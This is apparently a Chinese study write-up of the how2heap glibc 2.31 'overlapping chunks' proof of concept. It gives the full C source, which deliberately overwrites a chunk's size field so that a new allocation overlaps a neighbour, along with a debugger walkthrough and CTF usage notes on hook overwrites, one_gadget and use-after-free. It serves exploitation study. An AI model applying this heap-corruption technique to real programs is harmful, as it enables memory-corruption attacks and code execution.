overlapping_chunks 2.31
源码
1 /*
2
3 A simple tale of overlapping chunk.
4 This technique is taken from
5 http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
6
7 */
8
9 #include <stdio.h>
10 #include <stdlib.h>
11 #include <string.h>
12 #include <stdint.h>
13 #include <assert.h>
14
15 int main(int argc , char* argv[])
16 {
17 setbuf(stdout, NULL);
18
19 long *p1,*p2,*p3,*p4;
20 printf("\nThis is another simple chunks overlapping problem\n");
21 printf("The previous technique is killed by patch: https://sourceware.org/git/p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n"
22 "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n"
23 "and the prev_size of it must match the unsortedbin's size\n"
24 "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n");
25
26 printf("Let's start to allocate 4 chunks on the heap\n");
27
28 p1 = malloc(0x80 - 8);
29 p2 = malloc(0x500 - 8);
30 p3 = malloc(0x80 - 8);
31
32 printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);
33
34 memset(p1, '1', 0x80 - 8);
35 memset(p2, '2', 0x500 - 8);
36 memset(p3, '3', 0x80 - 8);
37
38 printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n");
39 int evil_chunk_size = 0x581;
40 int evil_region_size = 0x580 - 8;
41 printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n",
42 evil_chunk_size, evil_region_size);
43
44 /* VULNERABILITY */
45 *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
46 /* VULNERABILITY */
47
48 printf("\nNow let's free the chunk p2\n");
49 free(p2);
50 printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n");
51
52 printf("\nNow let's allocate another chunk with a size equal to the data\n"
53 "size of the chunk p2 injected size\n");
54 printf("This malloc will be served from the previously freed chunk that\n"
55 "is parked in the unsorted bin which size has been modified by us\n");
56 p4 = malloc(evil_region_size);
57
58 printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);
59 printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x580-8);
60 printf("p4 should overlap with p3, in this case p4 includes all p3.\n");
61
62 printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3,"
63 " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n");
64
65 printf("Let's run through an example. Right now, we have:\n");
66 printf("p4 = %s\n", (char *)p4);
67 printf("p3 = %s\n", (char *)p3);
68
69 printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
70 memset(p4, '4', evil_region_size);
71 printf("p4 = %s\n", (char *)p4);
72 printf("p3 = %s\n", (char *)p3);
73
74 printf("\nAnd if we then memset(p3, '3', 80), we have:\n");
75 memset(p3, '3', 80);
76 printf("p4 = %s\n", (char *)p4);
77 printf("p3 = %s\n", (char *)p3);
78
79 assert(strstr((char *)p4, (char *)p3));
80 }
调试
在第34行下断点,创建了三个堆块,chunk_p1申请的空间为0x78,chunk_p2申请的空间为0x4f8,chunk_p3申请的空间为0x78,这就意味着p1会共用p2的prev_size的部分,p2会共用p3的prev_size

在第39行下断点,对三个堆块进行填充
在45行下断点,创建evil_chunk_size与evil_region_size,chunk_size模拟的是整个堆块的size,evil_region_size模拟的是堆块中数据部分的size
可以看到模拟的size值为chunk_p2与chunk_p3的总和,接下来断点下在第48行,将chunk_p2的size部分改写成evil_chunk_size,即0x581
如果在做题中想要达到修改堆块size的操作,那么chunk_p1势必要存在堆溢出,并且在申请chunk_p1size的时候要考虑加上chunk_p2的prev_size的0x8字节,这样才能使得溢出修改size更加高效。那么如果chunk_p2的size被修改成了chunk_p2与chunk_p3的总和,那么就意味着chunk_p2将chunk_p3吞掉了,成了一个”合并“大整块,后称merge_chunk,此时merge_chunk的size为0x581,数据空间为0x578
可以看到在修改完size后merge_chunk与top_chunk相邻,不再显示chunk_p3的堆块了。在第50行下断点,释放merge_chunk,由于此时merge_chunk与top_chunk相邻,所以会被top_chunk吞掉
在第70行下断点,在重新申请一个数据空间为0x578大小的堆块,由于bin中没有可以分配的堆块,所以直接从top_chunk中进行分割,申请的大小正好是merge_chunk的大小,所以merge_chunk作为chunk_p4倍重新启用
顺带的看一下打印出来的chunk_p4与chunk_p3中的内容
将断点下在75行,将chunk_p4中的内容用数字”4“填充,并查看chunk_p4与chunk_p3中的内容:
可以看到虽然指定填充的是chunk_p4,但是chunk_p3在前面被包含进了chunk_p4,这就导致了chunk_p3是作为chunk_p4的数据部分使用的。断点下在79行,将chunk_p3中前80个字节用数字”3“来填充,注意这里是十进制80而不是十六进制0x80
可以看到,虽然chunk_p3被包含在chunk_p4中,但是chunk_p3的malloc指针并没有收到影响,堆块本身的读写也没有受到影响
总结
- 如果想要使用该方法,必须满足如下条件:
- 程序中对堆块具有增、删、改的操作
- 堆块存在len(“size”)长度溢出
- 该方法有几个利用点比较有意思,之前做过的题目大部分如果能够溢出很长字节的时候我们都去选择构建伪造堆块,或者只修改prev_size与size的inuse标志位来达到堆块在unsorted bin中合并的操作。但是这种方式利用top_chunk吞堆块的操作,将两个连续地址位的堆块看做同一个堆块来使用,主要还是归功于修改了低地址位堆块size的操作,使得堆管理器认为这就是一整个堆块
- 适用场景:
- 只能溢出到size的8个字节
- 首先修改merge_chunk将hook地址部署在高地址位堆块DATA起始位置,第二次修改高地址位内容为one_gadget
- 创建一个能够隔离top_chunk的堆块后可以达到UAF的作用